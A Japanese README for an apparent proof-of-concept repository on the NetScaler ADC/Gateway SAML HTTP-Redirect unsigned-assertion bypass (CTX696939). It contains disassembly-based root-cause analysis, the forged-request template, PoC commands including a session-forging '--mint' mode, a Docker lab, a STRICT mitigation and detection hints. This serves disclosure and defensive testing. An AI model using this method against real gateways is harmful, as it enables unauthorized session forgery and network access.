
NetScaler ADC/Gateway SAML 未署名アサーションのHTTP-Redirectバインディングによるバイパス(CTX696939)- 根本原因分析 + PoC
Citrix NetScaler ADC / NetScaler Gatewayにおける、GET /cgi/samlauth のSAML HTTP-Redirectバインディングハンドラを介した未認証セッション偽造。CVSS 4.0 9.3、CWE-288。
セキュリティ情報CTX696939(2026-08-19)、回避策なし。元の報告の功績はSamarth Vashisht(JPMorgan Chaseペンテストチーム)に帰属します。根本原因の分析とこのリポジトリ内のコードは私自身の作業です。
影響を受けるバージョン: 14.1(14.1-73.32より前)、13.1(13.1-63.21より前)。これらの2つのビルドで修正済み。
パケットエンジン nsppe において、2つの問題が同時に発生します。
1. リダイレクトバインディングはstrictフラグをクリアした状態でアサーションを解析する。
SAMLレスポンスパーサー(sub_b40a50)のすべての呼び出し箇所は、呼び出し前に「strict」引数を設定します。POSTバインディングパス(ブラウザがSAMLレスポンスに実際に使用する経路)はこれを設定した状態で渡します。HTTP-Redirectバインディングパスは設定しません:
$ objdump -d -M intel --start-address=0xb7f532 --stop-address=0xb7f558 nsppe-14.1-73.30
b7f532: 41 b8 00 00 00 00 mov r8d,0x0 <-- strict OFF
b7f538: 48 8d 8d d8 fe ff ff lea rcx,[rbp-0x128]
b7f53f: 48 8b 95 b8 fe ff ff mov rdx,[rbp-0x148]
b7f546: 8b b5 cc fe ff ff mov esi,[rbp-0x134]
b7f54c: 48 8b 3d f5 9f 6f 02 mov rdi,[rip+0x26f9ff5]
b7f553: e8 f8 14 fc ff call b40a50 <-- パーサー
これはCWE-288の意味での代替パスです。同じリクエストサーフェス、より弱いパーサー呼び出しであり、SAMLResponse クエリパラメータを伴うGETを送信できる誰でも到達可能です。
2. 未署名アサーションゲートはデフォルト設定をALLOWとして扱う。
リダイレクトハンドラ内で、リクエストが SigAlg/Signature を伴わない場合、rejectUnsignedAssertion の設定ワードが比較され、次のように分岐します:
$ objdump -d -M intel --start-address=0xb7ee3b --stop-address=0xb7ee41 nsppe-14.1-73.30
b7ee3b: 83 78 08 02 cmp DWORD PTR [rax+0x8],0x2
b7ee3f: 74 5d je b7ee9e <-- ACCEPTパスへジャンプ
ワードの値: 2 = rejectUnsignedAssertion ON(デフォルト)、3 = STRICT。
je は 2 を受理側に送ります。拒否ログ行に到達するのは STRICT のみです:
$ strings -t x nsppe-14.1-73.30 | grep 'denying as per action'
2020998 SAMLIDP: Redirect Binding: Unsigned Assertion seen, denying as per action %s
したがって、デフォルト設定のボックスでは、リダイレクトバインディングに渡された未署名アサーションは(strictオフで)解析され、未署名ゲートを(ONが許可と誤読され)通過し、その後通常の解析後ステップ(SAMLアクション設定に対するissuer/audience/subjectチェック、続いて攻撃者が指定したフィールドからのセッション構築)が実行されます。その経路のどこにもダイジェストやRSA検証はありません。POSTバインディングは同じ影響を受けません — パーサーにstrictを渡し、未署名入力を適切に拒否します。
セキュリティ情報による前提条件(バイナリで確認済み): 14.1-43.56 / 13.1-61.28以降のビルドでは、GatewayまたはAAA vserverにバインドされたSAMLアクションが必要です(通常のSAML SSO構成であり、ほとんどのSAMLデプロイメントが該当します)。それ以前のビルドでは、vserver単体でルートが登録されます。
GET1回。<ds:Signature> を一切含まないSAML Responseを構築し、DEFLATE + base64でエンコードして送信します:
GET /cgi/samlauth?SAMLResponse=<b64(raw-deflate(xml))>&RelayState=<ctx> HTTP/1.1
Host: <gateway>
ターゲットのSAMLアクション設定と一致させる必要がある値: アサーションのIssuer = IdPエンティティID、Audience = SPエンティティID、Recipient/Destination = ACS URL、そしてトランザクション構成では有効なAuthnRequestからのInResponseTo。--mint はゲートウェイ自身の事前認証ログインリダイレクトを辿ってこれらを取得します(Locationヘッダ内のSAMLRequestにすべて含まれています)。/vpn/ への302と、実際の NSC_AAAC / NSC_TASS クッキー(xyz 削除マーカーではないもの)があれば、指定したNameIDとしての偽造セッションが成立します。
pip install requests
# エンドポイントが存在し、GETバインディングがSAMLResponseを処理するか確認
python3 poc.py https://vpn.target.com --check-only
# 非侵入型の設定プローブ: 意図的に間違ったISSUERを持つ未署名アサーション。
# 'Malformed Assertion' (0xe0005) -> STRICT、このベクターに対して脆弱ではない
# issuer/policyエラー (0xe0012) -> デフォルト設定、脆弱。セッションは発行されない
python3 poc.py https://vpn.target.com --safe-oracle
# 完全なチェーン(許可されたターゲットのみ): SPチェーンを発行し、偽造し、一度検証
python3 poc.py https://vpn.target.com --mint --name-id [email protected]
--safe-oracle が存在するのは、2つの設定がセッション形状の何かが発生する前に異なるエラーページを返すためであり、これは防御側が実際のIdPに触れずに自己チェックできる方法でもあります。自分の環境に対して実行してください。
demo/demo.gif(demo.mp4 と、asciinema play で再生したい場合の demo/demo.cast もあり): dockerイメージからの影響を受けるビルド、word-2デフォルト設定、出荷された nsppe から逆アセンブルされた2つのバイナリ分岐、そしてPoCエンドポイントチェック。最後の仕上げであるセッション発行にはライセンス付きVPXが必要です — CPX Expressはライセンス層でAAAセッションを拒否します — これは lab/record-demo.sh がVPXを所有している場合に記録する内容です。
lab/setup-cpx.sh は影響を受ける正確なビルドをdockerで起動します:
docker run -dt --privileged --name cpx19490 -e EULA=YES \
quay.io/netscaler/netscaler-cpx:14.1-73.30
bash lab/setup-cpx.sh
そして、rejectUnsignedAssertion ON のSAMLアクション、ポリシー、Gateway vserverを設定します。苦労して学んだ2つの注意点:
/cgi/samlauth を提供しますが、すべてのリクエストは 480 Login exceeds maximum allowed users に到達します。設定+エンドポイント+バイナリ状態の再現には十分ですが、最終的なセッションクッキーは再現できません。lab/record-demo.sh がasciinemaシーケンス全体(バージョン、設定、safe-oracle、偽造セッション、STRICTネガティブコントロール)を記録します。上記の出荷バイナリのオフセットは、そのイメージから直接取得したものです:
docker cp cpx19490:/var/netscaler/bins/nsppe ./nsppe-14.1-73.30
objdump -d -M intel --start-address=0xb7ee3b --stop-address=0xb7ee41 ./nsppe-14.1-73.30
set samlAction <name> -samlRejectUnsignedAssertion STRICT は、脆弱なパス上のリダイレクトベクターをブロックします(word==3になります)。STRICTはボックスがIdPに期待する内容(Response + Assertionの署名要件)も変更することに注意してください。これはおそらくCitrixがONをデフォルトとして出荷し、「STRICTに設定するだけ」が全員にとってクリーンな回避策ではない理由です。SAMLResponse を伴う /cgi/samlauth へのリクエスト(リダイレクトバインディングレスポンスは実際には稀です — ブラウザはPOSTします)、未署名ペイロード、および上記のエラーページの差分。認可されたセキュリティテストのみを対象としています: 自身のラボ、または認可を受けたプログラムのスコープ内で明示的に含まれるターゲット。著者はCitrixや元の報告チームとは無関係です。
MITライセンス、LICENSEを参照。